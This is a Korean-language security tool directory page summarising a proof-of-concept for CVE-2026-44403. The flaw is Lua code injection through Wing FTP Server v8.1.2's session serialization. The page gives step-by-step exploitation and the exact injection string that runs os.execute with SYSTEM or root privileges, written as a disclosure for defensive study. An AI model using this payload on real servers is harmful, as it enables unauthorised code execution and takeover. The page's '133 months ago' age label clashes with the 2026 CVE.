Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit — CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit | Kitploit
도구/GitHubGitHub/zemarkhos/cve-2026-44403-wingftp-v8.1.2-poc-exploit
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access ToolPayload Development
GitHub
zemarkhos/cve-2026-44403-wingftp-v8.1.2-poc-exploit

CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit

CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit

저장소 보기
133개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Wing FTP Server v8.1.2에는 세션 직렬화 메커니즘에 원격 코드 실행(RCE) 취약점이 존재합니다. 인증된 관리자는 도메인 관리자 mydirectory(basefolder) 필드를 통해 임의의 Lua 코드를 주입할 수 있으며, 이는 서버 측에서 loadfile()을 통해 실행됩니다.

이는 CVE-2025-47812와는 별개의 취약점입니다. v7.4.4에서 CVE-2025-47812에 적용된 수정 사항은 사용자 이름 필드의 null 바이트 주입 벡터만 해결했습니다. 근본적인 안전하지 않은 세션 직렬화는 수정되지 않았으며, v8.1.2에서 관리자 basefolder 필드를 통해 계속 악용 가능합니다.

SessionModule.lua(103행)와 SessionModuleAdmin.lua(104행)의 세션 직렬화 함수 serialize()는 Lua [[...]] 긴 문자열 표기법을 사용하여 문자열 값을 기록합니다.

root@kitploit:~
outf("_SESSION["..k.."]=[["..v.."]]\r\n")

세션 값에 ]]가 포함되어 있으면 긴 문자열이 조기에 종료되고 나머지 내용이 실행 가능한 Lua 코드로 구문 분석됩니다.

대괄호 정리 코드가 cgi.lua(274-275행)와 cgiadmin.lua(277-278행)에 존재하지만 주석 처리되어 있습니다.

root@kitploit:~
--v = string.gsub(v,"%[","")
--v = string.gsub(v,"%]","")

이 정리를 적용할 세션 메타테이블도 비활성화되어 있습니다.

root@kitploit:~
--setmetatable(_SESSION,session_metatable)   -- cgi.lua:282, cgiadmin.lua:285

악용

1단계 — 도메인 관리자 basefolder를 통한 페이로드 주입:

인증된 전체 관리자가 도메인 관리자 계정을 생성하거나 수정합니다. mydirectory 필드를 다음과 같이 설정합니다.

root@kitploit:~
C:\ftproot]]os.execute("whoami > C:\\proof.txt")--

엔드포인트 service_add_admin.html과 service_modify_admin.html은 mydirectory 필드에서 대괄호 문자를 정리하지 않습니다. (service_add_admin.html은 14-15행에서 사용자 이름의 대괄호는 제거하지만 mydirectory에서는 제거하지 않습니다.)

2단계 — 실행 트리거:

오염된 도메인 관리자가 service_login.html을 통해 로그인하면 basefolder가 세션에 직접 저장됩니다.

root@kitploit:~
rawset(_SESSION,"admin_basefolder",basefolder)   -- service_login.html:95
rawset(_SESSION,"admin_nowpath",basefolder)       -- service_login.html:96

SessionModuleAdmin.save()는 이를 세션 파일에 다음과 같이 기록합니다.

root@kitploit:~
_SESSION['admin_basefolder']=[[C:\ftproot]]os.execute("whoami > C:\\proof.txt")--]]

3단계 — 코드 실행:

해당 세션을 사용하는 다음 HTTP 요청에서 SessionModuleAdmin.load()는 loadfile()을 호출한 다음 f()를 호출합니다(184-188행). Lua 파서는 세션 파일을 다음과 같이 해석합니다.

root@kitploit:~
_SESSION['admin_basefolder']=[[C:\ftproot]]     --> 문자열 "C:\ftproot" 할당
os.execute("whoami > C:\\proof.txt")            --> 코드로 실행됨
--]]                                             --> 나머지는 주석 처리됨

페이로드는 Wing FTP Server 프로세스의 권한(Windows에서는 SYSTEM, Linux에서는 root)으로 실행됩니다.

개념 증명

Windows에서 Wing FTP Server v8.1.2를 대상으로 작동하는 PoC 익스플로잇이 개발 및 테스트되었습니다.

재현 단계:

  1. 관리자 패널에 로그인합니다.

  2. 다음 mydirectory 값을 사용하여 새 도메인 관리자를 생성합니다.

    root@kitploit:~
    C:\ftproot]]os.execute("whoami > C:\\wingftp_rce_proof.txt")--
    
  3. 새로 생성된 도메인 관리자로 로그인합니다.

  4. 아무 관리자 페이지로 이동합니다(세션 로드 트리거).

  5. C:\wingftp_rce_proof.txt가 생성되어 서버의 사용자 이름을 포함하고 있는지 확인합니다.

도구 다운로드